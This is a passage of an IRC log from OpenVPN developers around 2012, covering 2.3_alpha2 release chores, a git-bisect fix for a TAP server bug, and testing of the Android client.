dazo: we can ignore the opensuse build failures, they're not openvpn-specific 04:41 <@dazo> mattock: yeah, I saw that ... and didn't plan to do anything else :) 04:41 <@mattock> I'm not sure why those builders don't get the environment variables they're supposed to 04:42 <@mattock> there's a KVM bug (not sure if it's on the VM or host side) that causes builds to fail if any optimizations are used 04:42 <@mattock> i.e. reports wrong processor type or something 04:42 <@mattock> I'll grab some lunch now 04:43 <@mattock> dazo: I'll build the deb/rpm packages after that,and then move on to tap-windows provided it's ready 04:43 <@mattock> we _might_ be able to squeeze out the release today 04:43 <@dazo> I can push out stuff now ... it looks good enough, I'd say ... and prepare tarballs for you 04:45 <@mattock> ok, great! 04:45 <@vpnHelper> RSS Update - testtrac: Prepare the OpenVPN v2.3_alpha2 release <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=45c9e79634a72fab46a0fffc8d222fd5a3de1cf2> 06:17 <@mattock> I curse James for making up the <connection> syntax... there's no limit on how much trouble can those two characters "<>" cause when displaying HTML :P 06:18 <@dazo> hahahaha :) 06:18 <@dazo> be happy he didn't make the configuration file in XML ;-) 06:21 < plaisthos> mattock: :) 06:21 <@mattock> also, sed is not particularly co-operative today 06:22 < plaisthos> connections are basically inline files 06:22 < plaisthos> :) 06:29 <@mattock> finally I bent sed to my will 06:39 <@dazo> this is pretty amazing ... when I cherry pick all patches from alon ... I end up with a bunch of files which have not been moved at all 06:40 <@dazo> (and they have been moved in Alons tree) 06:40 <@dazo> mattock: I'm afraid the tap-win stuff needs careful review 06:40 <@cron2> didn't you burn a black candle before? 06:40 <@dazo> :) 06:41 <@dazo> well, I doubt Alon will be willing to go forth with the rebase we "require" 06:41 * dazo brb 06:45 <@mattock> dazo: ok, interesting 06:45 <@mattock> I smell yet another unnecessary flamewar 06:51 <@mattock> I give up, Joomla destroys all of my attempts to make the <connection> entries sane 06:51 <@mattock> I'll put 2.3 man-page to Trac and link to it from openvpn.net 06:51 <@cron2> lol 06:52 * cron2 had lots of fun with Confluence yesterday - trying to type "user:password" inevitably ended up with a ":p" smiley right in the middle 06:52 <@cron2> stupid software everywhere 06:58 < ecrist> neat 07:13 <@mattock> Trac worked out of the box, just needed to reduce font size to make it fit on smaller screens also (without scrolling): https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage 07:13 <@vpnHelper> Title: Openvpn23ManPage – OpenVPN Community (at community.openvpn.net) 07:14 < plaisthos> what king of small screen were thiking about? 07:14 < plaisthos> 1024? 07:14 < plaisthos> 800x600? 07:17 <@mattock> something below 1600 wide 07:18 <@mattock> probably now fits into 1024 07:18 <@mattock> the font size is easily adjustable in Trac, though 07:18 <@mattock> if it looks too tiny, we can make it bigger 07:20 < plaisthos> I just made my browser 800 pixels wide and it still fits :) 07:21 <@dazo> seems 2.3-a2 compiled just fine in our build slaves :) 07:21 <@mattock> good 07:23 <@cron2> +1 07:31 * dazo just discovered 'git clean' ... dangerous, but very useful 07:40 <@mattock> in sake of consistency, I'm thinking of moving the changelogs to Trac (actually, they're there already) 07:41 <@mattock> what do you think, how silly are this kind placeholder pages: http://openvpn.net/index.php/manuals/523-openvpn-23.html 07:41 <@vpnHelper> Title: OpenVPN 2.3 (at openvpn.net) 07:41 <@mattock> i.e. could we tolerate the same kind for the changelogs? 07:42 <@mattock> I just asked Andrew about adding proper redirects, too 07:43 <@mattock> I could also mess with the menus probably, and make them point to community.openvpn.net 07:44 <@dazo> I think I nailed the cherry-pick issue ... my commit list was missing the very first commit ... 07:52 <@mattock> ah, so there was not funky in Alon's tree after all? 07:53 <@mattock> not-hing 07:57 <@dazo> no, when I got the proper commit list, it went smoother 07:57 <@dazo> http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/tap-windows.git;a=summary 07:57 <@vpnHelper> Title: SourceForge - openvpn/tap-windows.git/summary (at openvpn.git.sourceforge.net) 07:57 <@dazo> mattock: I presume you can try this one now: git clone git://openvpn.git.sourceforge.net/openvpn/tap-windows.git 07:58 <@dazo> That's without any of Alon's patches ACKed ... but all commits have my signed-off-by ... however, I have not reviewed any of them ... it's just a signature that I've been involved in this process 08:14 <@dazo> mattock: those warnings you found ... they need to be carefully evaluated individually ... some are clearly false alerts, others are discussable ... but nothing I'm worried about 08:15 <@mattock> modified the openvpn.net site so that the "Manuals" menu entry now points to this: http://openvpn.net/index.php/open-source/documentation/manuals.html 08:15 <@vpnHelper> Title: OpenVPN manuals (at openvpn.net) 08:16 <@mattock> those are individual links to manual pages, some on Joomla, some on Trac 08:16 < ecrist> can you modify the link to openvpn.net/man to point there, as well? 08:16 <@mattock> of course, people might end up on the placeholder pages from Google or something 08:17 <@dazo> the 2.1 manual points at dev3.openvpn.net 08:17 <@mattock> ecrist: depends on how the redirects/links are being done 08:17 <@mattock> oopsi 08:17 <@dazo> also the 2.0.x 08:17 <@mattock> fixing 08:17 < plaisthos> the old manual html style looked nicer somehow 08:18 <@mattock> fixed 08:19 <@mattock> plaisthos: yeah, probably, but this way I got out of the world of hurt :) 08:19 <@mattock> it's really a pain for no gain 08:19 <@mattock> I think I'll do the same for changelogs 08:20 <@dazo> git show $TAG | curl https://community.openvpn.net/.......... ;-) 08:24 * dazo goes to do some paid work now 08:29 <@mattock> same done for changelogs: http://openvpn.net/index.php/open-source/documentation/change-log.html 08:29 <@vpnHelper> Title: Changelogs (at openvpn.net) 08:29 <@mattock> bye bye placeholders 08:30 <@mattock> ecrist: hmm, yes, http://openvpn.net/man.html points to 2.0.x man-page, which is stupid 08:30 < ecrist> would be better if it pointed to the page with all the various versions 08:30 <@mattock> yes, agreed 08:30 <@mattock> I'll ask if raidz could do that, I don't have access to that box 08:32 <@mattock> Joomla looking pretty good now 08:34 < ecrist> your links give me 404's, mattock 08:35 < ecrist> at least the 2.0.x and 2.1 changelogs do 08:35 <@mattock> hmm, just a sec 08:35 <@mattock> yeah, so it seems 08:36 <@mattock> the guys haven't synced the databases in a long while it seems, identifiers pointing to wrong places 08:36 <@mattock> I'll fix that manually 08:46 <@dazo> CRAP! 08:46 <@dazo> Wrong version number in version.m4 ... 2.3.1-alpha2 08:46 <@dazo> grmbl 08:49 <@mattock> interesting, joomla depended on obsolete menu entries 08:50 <@mattock> if the (inactive and invisible) changelog menu entries were disabled, one would get 404s 08:50 <@mattock> I hope somebody rewrites/migrates openvpn.net to something else, there's lots of historic baggage there already 08:50 <@mattock> in Flash, maybe? :P 08:51 < plaisthos> Silverlight! 08:51 <@dazo> why not ASP? 08:56 <@mattock> you mean ASP.net? yes, that's a good candidate obviously 08:56 <@vpnHelper> RSS Update - testtrac: Set the correct version number - 2.3_alpha2 <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=dc73460093d59cdc6549edf503f43e14ea33aef0> 08:57 <@mattock> changelog and man-page links corrected and tested 08:57 <@mattock> running out of time to make the release today, got other stuff 08:57 <@mattock> damn 08:58 <@mattock> monday is the day, then... 08:58 <@dazo> oki 08:59 <@mattock> probably takes 4 hours or so to go through all the pre-release tasks, now that so much has changed 09:00 <@dazo> mattock: I'll have tarballs for you any second, and I'll add my signatures there as well 09:00 <@dazo> so I hope I'm off the hook for now :-P 09:00 <@mattock> hopefully it's only me who has to suffer from this point onwards :P 09:01 <@dazo> heh 09:02 <@mattock> that said, the suffering should be less grave now that I have they code-signing keys and all 09:02 < ecrist> from the looks of things, my saturday is going to be very boring. 09:04 <@dazo> ecrist: then you can prepare 2.3_alpha2 for FreeBSD!!! ;-) 09:04 <@mattock> good idea 09:04 <@mattock> also make an announcement of easy-rsa 2.2.0 somewhere 09:04 < ecrist> yeah, that's what I was getting at 09:04 <@mattock> not sure how much noise we need/want to make 09:05 <@mattock> oh, we do have easy-rsa listed on ohloh and freecode 09:05 < ecrist> meh, no need, really, for easy-rsa, the changes were relatively minor 09:05 <@mattock> updating those would be nice 09:05 < ecrist> I plan on digging into that code this weekend, too 09:05 < ecrist> working with one user on a minor patch to vars 09:05 <@mattock> are you going to de-crappify it? 09:05 < ecrist> I figure I have to 09:06 < ecrist> I see the possibility of easy-rsa 3.0 by end of year 09:06 < ecrist> and that's going to be essentially an ssl-admin on steroids, all written in batch/sh 09:06 < ecrist> but not menu-driven 09:07 < ecrist> I see an interactive mode, that uses menus like ssl-admin, but it won't be default 09:07 <@mattock> yep, nice to be able to script the thing 09:07 < ecrist> because, let's face it, easy-rsa sucks 09:07 <@mattock> it's ok for creating a few keys... besides that I don't have a clue 09:08 <@mattock> for real PKI work it probably sucks bad 09:08 < ecrist> it's the reason I wrote ssl-admin was my hate for easy-rsa 09:08 < ecrist> funny turn of events 09:08 <@mattock> yes, truly :P 09:09 < ecrist> wrt openvpn, I need to set it up so openvpn can be built with polarssl, as well as a few other options 09:13 <@dazo> I guess you two understood what I just PMed you :) 09:15 < ecrist> yup 09:16 * dazo declares himself off the hook for now :) 09:20 <@mattock> dazo: thanks for the tarballs! 10:05 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:05 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:12 -!- raidz_afk is now known as raidz 11:22 -!- dazo is now known as dazo_afk 13:56 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 16:05 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:05 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:03 -!- raidz is now known as raidz_afk 19:59 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 20:44 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:44 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sat Jun 30 2012 12:37 <@cron2> ok... I can reproduce that TAP fail with 2.3_alpha2 on linux 12:37 <@cron2> now the more interesting test "is this linux only" (points to "build related") or freebsd as well (points to "do I want to know?")... 13:27 <@cron2> ok... fails on freebsd as well... but the ports version works 13:27 <@cron2> weird 13:33 <@vpnHelper> RSS Update - tickets: #216: tap server broken <https://community.openvpn.net/openvpn/ticket/216> 13:36 <@cron2> ouch, the revision that the port on the reference server uses is "before the build system revolution" 13:36 <@cron2> that bisect is going to be interesting, as there are so many versions in between that don't compile... 13:52 <@cron2> .oO(did I mention that we need automated *server* side tests?) 13:55 -!- dazo_afk is now known as dazo 14:00 <@cron2> ugh 14:02 <@cron2> 4029971240b6274b9b30e76ff74c7f689d7d9750 is the first bad commit 14:16 <@dazo> interesting ... 14:16 * dazo is just lurking here today, though 15:22 <@cron2> return (bool) mac[0] & 1; 15:22 <@cron2> gah 15:22 * cron2 thinks this is a binding issue and should be 15:22 <@cron2> return (bool) (mac[0] & 1); 15:23 <@dazo> sounds plausible 15:24 <@cron2> (well, the cast is broken anyway, as with the brackets and a return type of bool, this is implicit anyway...) 15:24 <@cron2> oh 15:24 <@cron2> the other code will make "mac[0]" true == 1 for every mac[0] that is not *0*. And then 1 & 1 is 1, obviously. 15:24 <@cron2> if (bool) = (int), it won't convert anything anyway 15:25 <@cron2> 64 bytes from 10.194.4.1: icmp_req=1 ttl=64 time=63.3 ms 15:25 <@cron2> yay 15:25 <@dazo> yeah, that makes sense 15:36 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 15:49 <@cron2> bah 15:50 <@cron2> git-send-email is *showing* the right mail, and the MTA is then mangling it 15:51 <@cron2> two-byte-fix, many hours used in "set up test bed, find out conditions, git-bisect, nail bug" 15:51 <@cron2> but worth the effort - git-bisect is *so* very cool 15:51 <@dazo> heh ... yeah, git bisect can really save a lot of time 15:52 <@dazo> and you can even make it run test scripts, so it does the complete stuff fully automatic 15:52 <@cron2> wow :) 16:28 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:28 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:32 -!- ender^ [krneki@foo.eternallybored.org] has joined #openvpn-devel 16:50 -!- dazo is now known as dazo_afk 19:38 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 264 seconds] 20:28 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:28 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sun Jul 01 2012 10:52 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 11:09 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 13:01 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 13:20 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 15:27 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Remote host closed the connection] 15:33 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 16:19 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:19 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:31 < ecrist> sup folks? 18:32 <+krzee> sup there big guy 18:49 < ecrist> getting back to the server migration 18:49 < ecrist> hoping to finish tonight, or servers go away 18:50 < ecrist> far more apathetic about things than I should be, I think. 18:50 <+krzee> anything i could help with? or just a matter of doing it? 18:51 < ecrist> just a matter of doing it 18:51 <+krzee> gotchya 18:51 <+krzee> as far as the apathy, i get there sometimes too… too much to do 18:51 < ecrist> yeah 18:52 < ecrist> suprised nobody has complained about the wiki 18:52 <+krzee> people have, we're just telling them to chill and it'll be back 18:52 < ecrist> oh, lol 18:52 <+krzee> migrations happen 18:52 < ecrist> I was out riding the motorcycle all day 18:53 < ecrist> moving all day yesterday 18:53 < ecrist> : 19:11 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 20:03 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:03 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:32 * ecrist pings krzee --- Day changed Mon Jul 02 2012 00:18 -!- dazo_afk is now known as dazo 02:46 <@vpnHelper> RSS Update - testtrac: Update version.m4 - we're past 2.3_alpha2 now <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=0bf9d146e8da6d34e21fa16a0aacd15748d6cbc9> || Repair "tap server" mode brokenness caused by fallout <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=8df08de6f84d224c6a79ab6c74ba73c33a47735d> 03:01 <+krzee> hey hey you found the tap bug 03:17 <@dazo> krzee: cron2 did some great work in the weekend :) 03:30 <@dazo> d12fk: Just saw a tweet from one of my Norwegian friends ... "Why is Spain touching Germany's trophy?" (quickly translated) 03:32 <+krzee> i know thats soccer related, but i dont get it 03:32 <+krzee> hehe 03:34 <@dazo> krzee: Spain is the European champions these days :) 03:34 <+krzee> ya that part i caught 03:34 <+krzee> 4 to 0 03:34 <+krzee> but why germany's? 03:34 <@dazo> Germany was in the semi-finals ... and was a big favourite 03:36 <@dazo> krzee: and then you have someone who said this some days ago: "<d12fk> i have to watch a certain football game where a certain italian team will be sent home =)" .... and it didn't quite turn out this way :-P 03:36 * dazo wonders if he is happy or sad that there are no loud Italians present in this channel :-P 03:37 <+krzee> lol i love how into soccer the world is 03:37 <+krzee> minus my bubble 03:37 <@dazo> hehe 04:23 <@cron2> krzee: the tap bug hit you as well? 04:25 * dazo updated two of his servers (tun and tap configs) to 2.3_alpha2 w/tap fix 04:26 <@dazo> (and of course, his laptop) 04:31 <@cron2> dazo: so very brave :-) 04:32 * cron2 had some ideas yesterday how to do "sort of" automated server testing 04:32 <@cron2> (without endangering buildbot, so just running -current on the buildbot test server is not such a good idea) 04:32 <@dazo> I must admit, this 2.3 update was kind of more worrying than the 2.2 cycle :) But it seems to play well :) 04:33 <@cron2> 2.3 has much more intrusive code changes, but as soon as we get out the last wrinkles, it is a major step forward 04:33 <@dazo> automated server testing would be cool! 04:34 <@cron2> this won't scale easily, so "automated server testing with full feature set on all operating systems" will take too much time, but things like 04:34 <@cron2> - once a day, per script 04:34 <@cron2> - do git clone, autoreconf, make 04:34 <@cron2> - start server instances (similar to what the "phillip" server currently does, can copy start/stop scripts + setup tree from there) 04:35 <@dazo> yeah, the most annoying thing about 2.3 base now is reconnects often fails with PUSH_REQUEST from the client going in a loop ... if I add 'explicit-exit-notify' in the client config, it works fine .... seems to only be an issue on UDP from what I can see 04:35 <@cron2> - do ssh $someotherVM "./t_client.sh" *back* to server 04:35 <@cron2> - send summary mail... 04:35 <@dazo> yeah, that would be sufficient 04:36 <@cron2> would have caught the tap bug right away, won't catch more subtle bugs that are not part of the test set, like "compatibility breakage of the management interface" or so 04:36 <@cron2> will play with this over the next days... "as time permits" 04:36 <@dazo> :) 04:36 <@cron2> two children are about 5 times the chaos level (at least initially, while the older one is too excited about the small one to get anything done in time) 04:37 <@cron2> about the PUSH_REQUEST thing - if you can reproduce this with "verb 4" on both ends, that should give us something to think about 04:37 <@dazo> cron2: yeah, I can ... I just haven't had time to bisect it yet 04:38 <@dazo> I have the environment ready for it even :) 04:38 * cron2 needs to state again how cool git bisect is :) 04:38 <@dazo> hehe :) 04:38 * dazo fully understand that need :) 05:29 -!- dazo is now known as dazo_afk 06:25 <+krzee> cron2, no but i saw you guys talking about it 06:25 <+krzee> (i lurk a lot ;) ) 06:26 <+krzee> it sounded like it was going to be a BITCH to uncover 06:28 -!- dazo_afk is now known as dazo 06:33 <@dazo> krzee: if it hadn't been for git bisect, it might pretty much have been hard to catch ... at first glance of the code which was fixed, it wouldn't easily cross your mind at all ... but as cron2 understood from the commit which introduced the issue, it had to be related to the boolean handling, he also knew where to start looking 06:33 <@dazo> (or rather, what to start looking for) 06:34 <+krzee> ahh nice 06:36 <@cron2> actually, looking for "bool" in multi.c led nowhere, so I had to go debugging the classic way, with msg(...) inserted everywhere, going down the function call tree and figuring out why certain conditions (usually "if($this && $that && call_this_function())") were not met... 06:36 <@cron2> when I found the culprit, and saw (bool) there, it was quite clear that *this* was it 06:47 <+krzee> http://forums.openvpn.net/topic10838.html <-- useless post of the year award 06:47 <@vpnHelper> Title: OpenVPN Support Forum Please help : Forum & Website Support (at forums.openvpn.net) 06:47 <+krzee> quite possibly the grand champion 06:49 <@dazo> krzee: I would even put that in the category of "laziness" as well 06:49 <+krzee> but thats above and beyond the call of lazy 06:49 <+krzee> lol 06:49 <@cron2> well, maybe that's a job offer? if he pays for flight + travel + time, I'm happy to go to .za and fix their OpenVPN 06:50 <+krzee> hell, i guess ild go too 06:50 <@cron2> paying customers have the right to be lazy and clueless :-) 06:50 <@dazo> true :) 06:50 <+krzee> maybe hes the african prince who keeps emailing me 06:51 <+krzee> (i won their lottery it seems) 06:51 <@dazo> worst case, we can always point him at openvpn AS ... and tell him to buy support from them ... 06:51 <@mattock> krzee: just make the small $10 deposit and go fetch your price 06:52 <+krzee> saving up for it ;] 06:52 <@dazo> krzee: but we'll need your credit card number, cvc number and expiry date to confirm you're the rightfully winner 06:52 <+krzee> aww but i dont have a credit card 06:53 <@dazo> dang! 06:53 <+krzee> can i western union all my money instead? 06:53 <@dazo> sure ;-) 06:53 <+krzee> govtrack is awesome 08:34 <@mattock> dazo: is the tap-windows on sourceforge the rebuilt one? 08:34 <@dazo> mattock: yes 08:34 <@mattock> also, is the GitHub tree still the old one? 08:34 <@mattock> ok 08:34 <@dazo> github is old one ... I'll update it when you've run yoru tests on sf.net 08:35 <@mattock> we'd probably need to push one patch to tap-windows to change the version number to 9.9.1 08:35 <@mattock> unless you incremented the version already 08:35 <@dazo> no, I didn't do that ... but sure, no prob with that 08:35 * dazo didn't quite know what to change where .... and it's windows, so I care "less" :9 08:35 <@dazo> :) 08:35 <@mattock> I'll check if changing version.m4 is enough 08:38 <@mattock> ouch, the deb/rpm rules need fairly heavy updating 08:39 <@mattock> I think I'll postpone fixing that to a later date to get 2.3-alpha2 out today 08:45 <@dazo> makes sense 08:57 <@mattock> updating version.m4 seemed to do the trick... I'll send a patch to the mailinglist 09:28 <@mattock> ok, mail sent 09:28 <@mattock> surprising how difficult it is to get the date correct when you're dealing with US-style dates 09:28 <@dazo> heh 09:29 <@dazo> mattock: who will maintain the tap-windows git tree? 09:29 <@mattock> not sure, nobody has volunteered I think 09:29 <@dazo> that's correct :) 09:30 <@mattock> I was thinking that unless we get complaints (e.g. from Alon) in <1 hour, you could apply the patch and tag the tap-windows tree on SF.net with v9.9.1 09:30 <@mattock> I'm not sure if this patch can trigger a religious discussion or not :P 09:30 <@dazo> mattock: if you take care if the win-install/build stuff, ecrist takes easy-rsa ... I can take care of openvpn/openvpn-testing and tap-windows for now 09:30 <@dazo> that patch should not trigger anything at all 09:31 <@mattock> hope so 09:31 <@mattock> we can wait a while, just in case, I'm updating the staging web server now 09:31 <@mattock> and I still got to write the announcements 09:32 <@dazo> But just so it's said ... I cannot do any development on tap-windows ... but I'll apply patches from the mailing list according to normal routines 09:35 < ecrist> do I have a to-do? 09:36 <@dazo> mattock: I'll answer alon 09:37 <@cron2> dazo: I can also have an eye on patches, but I wouldn't expect much activity there - unless Windows 8 requires completely new drivers... 09:38 <@mattock> ah, forgot to mention about the release 09:38 <@dazo> cron2: would you like to be the git maintainer for it? At least try to get some experience doing this :) 09:41 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 09:48 <@dazo> mattock: git tree tagged, signed and pushed for tap-windows 09:48 <@mattock> excellent, thanks! 09:48 <@mattock> I'll rebuild tap-windows and build the windows installers 09:49 <@dazo> mattock: when you give me a green light, I'll shake the world by doing these changes publicly on github too 09:49 <@dazo> (same procedure as I did with easy-rsa) 09:50 <@mattock> ah yes, good point, we probably to make a GitHub release also 09:50 <@dazo> tbh ... I don't care about those details ... so do what you feel is needed to be done about there :) 09:51 <@mattock> all I'd need for the release is a rebuilt tap-windows tree on GitHub 09:51 <@mattock> that's not mandatory by any means, I'll put the tap-windows release on build and swupdate anyways 09:51 <@mattock> but a nice touch 09:52 <@dazo> okay ... when your testing looks good, I'll do the github stuff for the git tree 10:00 <@mattock> tap-windows installer fine on win7-amd64, I'll generate openvpn installers now and then test everything on 32- and 64-bit 10:01 <@dazo> cool 10:09 <@mattock> another minor obstacle I forgot about... I need to wrap openvpn-gui into a tar.gz 10:09 <@mattock> I'm thinking of using the latest Git version 10:09 <@dazo> I think d12fk said that should work just fine 10:10 <@mattock> to keep openvpn-build/generic happy, I need to give the tarball a version number 10:10 <@dazo> mattock: 1.0.4 ;-) 10:10 <@mattock> shall I post a patch to openvpn-gui/configure.ac that changes that? 10:11 <@dazo> mattock: that's going into d12fk's tree ... so you'll have to discuss that with him ... but I'd say, go ahead and do that change locally and wrap it all together 10:11 <@mattock> ok, I'll send a patch but hack the tarball together for now 10:11 * dazo don't think d12fk is around these days ... been silent from him since the Italy vs Germany match .... 10:17 <@mattock> btw. if somebody has a solid reason why we _need_ to use lzo-2.0.6 (latest) instead of 2.0.5, speak up now :) 10:17 <@mattock> the thing is, that 2.0.6 does not build for some reason (haven't yet debugged), and there seem to be no security fixes or important stuff in 2.0.6 10:18 * dazo checks 10:18 <@mattock> http://www.oberhumer.com/opensource/lzo/lzonews.php 10:18 <@vpnHelper> Title: oberhumer.com: LZO NEWS (at www.oberhumer.com) 10:19 <@mattock> didn't look at version control logs, though 10:20 * plaisthos noticed that he uses 2.03 10:21 <@dazo> mattock: nah, I think 2.05 is just as good 10:22 <@mattock> good, a little less work for me 10:22 <@mattock> this release is the biggest hassle so far, so much has changed 10:22 <@mattock> building 32-bit windows installer now 10:22 <@mattock> takes about 25 mins 10:22 <@mattock> -> announcements 10:22 <@dazo> well, the wrapping has changed a lot ... the contents far less :) 10:24 <@mattock> yeah, and I got to deal almost exclusively with the wrapping :P 10:24 <@mattock> it's my lot in life it seems :D 10:26 <@mattock> here's the email version of the announcement, feel free to check if you like: http://pastebin.com/QXjTihA8 10:52 -!- raidz_afk is now known as raidz 10:55 <@mattock> 32-bit windows installer ready, testing 10:59 <@mattock> actually not, forgot to run it from openvpn-build/windows-nsis 10:59 <@mattock> didn't get a full installer bundle 11:14 <@mattock> for some reason openvpn-build/windows-nsis/build-snapshot put openvpn-2.3_alpha2 sources into a temporary directory named 2.3.0_master 11:29 -!- dazo is now known as dazo_afk 11:32 <@mattock> I need to debug this further later on, got to make some food now 11:36 -!- dazo_afk is now known as dazo 11:38 <@dazo> mattock: uhhh ... that sounds like my tarballs are wrong then ... or, you need to checkout v2.3_alpha2 in the git tree and not the latest master 11:38 <@dazo> (that's related to the info in version.m4) 11:44 <@dazo> I need to run now-ish ... so if you're in a pinch with the tarball ... 11:44 <@dazo> git checkout -b v2.3a2 v2.3_alpha2 11:44 <@dazo> autoreconf -vi 11:44 <@dazo> ./configure 11:45 <@dazo> make dist 11:45 <@dazo> and you'll get a proper tarball, I hope :) 11:49 -!- dazo is now known as dazo_afk 15:08 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 15:21 <@cron2> mmmh, moar happy campers with openvpn+ipv6+android :-) 15:49 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:49 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:57 < plaisthos> cron2: yes, that makes me especially happy :) 16:05 <+krzee> yay i get to setup an ICS phone with openvpn now 16:07 < plaisthos> blame all bugs on me :) 16:08 < plaisthos> if it does not build I will blame Alon 16:08 < plaisthos> :p 16:09 <+krzee> !blame 16:09 <@vpnHelper> "blame" is (#1) According to Bushmills, it's always krzee's fault, or (#2) According to krzee, it's always dazo's fault, or (#3) and dazo will always blame EugeneKay, Bushmills, ecrist or any other sensible victims in the required moments 16:10 * plaisthos laughs 16:12 <+krzee> "reconnect on network change" = awesome 16:17 < plaisthos> yeah what actually makes that feature not that awesome is the missing persistent-tun support :/ 16:19 <+krzee> ouch 16:19 <+krzee> so it restarts openvpn? 16:19 <+krzee> oh maybe not… i guess it doesnt need privs to make changes 16:19 <+krzee> so whats lost by not persistent-tun? 16:31 < plaisthos> well for a short moment the packets are routed over the unencrypted network 16:41 < plaisthos> see also http://article.gmane.org/gmane.network.openvpn.devel/6739/match=v2.4+0+4+tun+cleanups 16:41 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 16:47 <+krzee> plaisthos, isnt tls-auth rather common? 16:48 < plaisthos> I don't really know 16:48 <+krzee> it is =] 16:48 < plaisthos> must people confuse tls-auth with tls-server 16:48 <+krzee> !hmac 16:48 <@vpnHelper> "hmac" is (#1) The tls-auth directive adds an additional HMAC signature to all SSL/TLS handshake packets for integrity verification. Any UDP packet not bearing the correct HMAC signature can be dropped without further processing. The tls-auth HMAC signature provides an additional level of security above and beyond that provided by SSL/TLS., or (#2) openvpn --genkey --secret ta.key to make the tls 16:48 <@vpnHelper> static key , in configs: tls-auth ta.key # , 1 for client or 0 for server in the configs 16:48 <+krzee> oh sorry i see it in the gui now 16:49 <+krzee> :x 16:49 < plaisthos> Yeah. I wanted to keep basic settings as basic as possible 16:49 < plaisthos> so people don't get confused 16:49 < plaisthos> that did not work 16:49 <+krzee> makes sense where it was found 16:49 < plaisthos> so I wrote the config importer 16:49 < plaisthos> :) 16:50 <+krzee> ya, i figured that would work easy so im going the long way 16:50 <+krzee> since i dunno when the next time ill get an ICS phone to play with 16:50 < plaisthos> :) 16:51 <+krzee> a p12 with blank password gets no love 16:51 <+krzee> but then i set a pw and it was fine 16:51 <+krzee> should have a pw anyways, so i figure its fine really 16:52 < plaisthos> I never encountered p12 without a password so I assumed that they have a password 16:52 < plaisthos> But as I learned my assumptions are often wrong 16:52 <+krzee> tls-direction, instead of 1/0 maybe say client/server 16:53 < plaisthos> I got to see a lot of strange configs from bug reports 16:53 <+krzee> haha ya i know what ya mean 16:53 < plaisthos> krzee: I can add (client) and (server) after tls-direction 16:53 < plaisthos> but I think keeping the value is important 16:54 <+krzee> agreed 16:55 < plaisthos> the man page of openvpn does not specify wether 1 or 0 is to use on the server/client 16:55 < plaisthos> The direction parameter should always be complementary on either 16:55 < plaisthos> side of the connection, i.e. one side should use "0" and the 16:55 < plaisthos> other should use "1", or both sides should omit it altogether. 16:56 <+krzee> 0 is server 16:56 <+krzee> 1 for client 16:56 < plaisthos> :) 16:56 <+krzee> although maybe thats not necessarily always true 16:56 <+krzee> maybe my assumptions are false ;] 16:57 <+krzee> im getting HMAC errors 16:57 < plaisthos> :/ 17:00 <+krzee> well shit that seems to be my fault 17:03 < plaisthos> :) 17:07 <+krzee> hah i see what i did, it wasnt just ta.key 17:07 <+krzee> i have too many PKI's is the problem, lol 17:09 < plaisthos> wow 3 months no one noticed and today 2 user independently noticing pkcs12 with null password don't work 17:09 < plaisthos> just got a mail from a administrator who has the same problem as you 17:10 <+krzee> i was transfering by hand so i saw no purpose to a pass 17:11 < plaisthos> all my p12 have the pass 1234 :) 17:19 <+krzee> do you know how i can remove an old p12? 17:19 <+krzee> (from android store) 17:21 < plaisthos> System -> settings -> security -> remove all certificates 17:21 < plaisthos> I don't know if there is a way to remove a single certificate :/ 17:22 <+krzee> thats cool tho 17:27 <+krzee> i like that verb stops at 5 17:29 <+krzee> hrm, it keeps getting to rsa-sig (on the client) 17:29 <+krzee> but then times out 17:30 <+krzee> has this been confirmed happy on SGS3? 17:37 < plaisthos> hm 17:37 < plaisthos> no not really 17:37 < plaisthos> wait 17:38 <+krzee> im not getting any sort of actual error on either side 17:38 <+krzee> just times out while verifying certs, but im connected over the same wifi from my laptop without issue 17:38 < plaisthos> strange 17:39 <+krzee> yep, ill keep playing with it 17:39 < plaisthos> are you using android keystore? 17:39 <+krzee> yes 17:39 <+krzee> should i try flat files for the hell of it? 17:39 < plaisthos> not should not be the problem 17:39 < plaisthos> rsa-sig the the external-keys callback 17:40 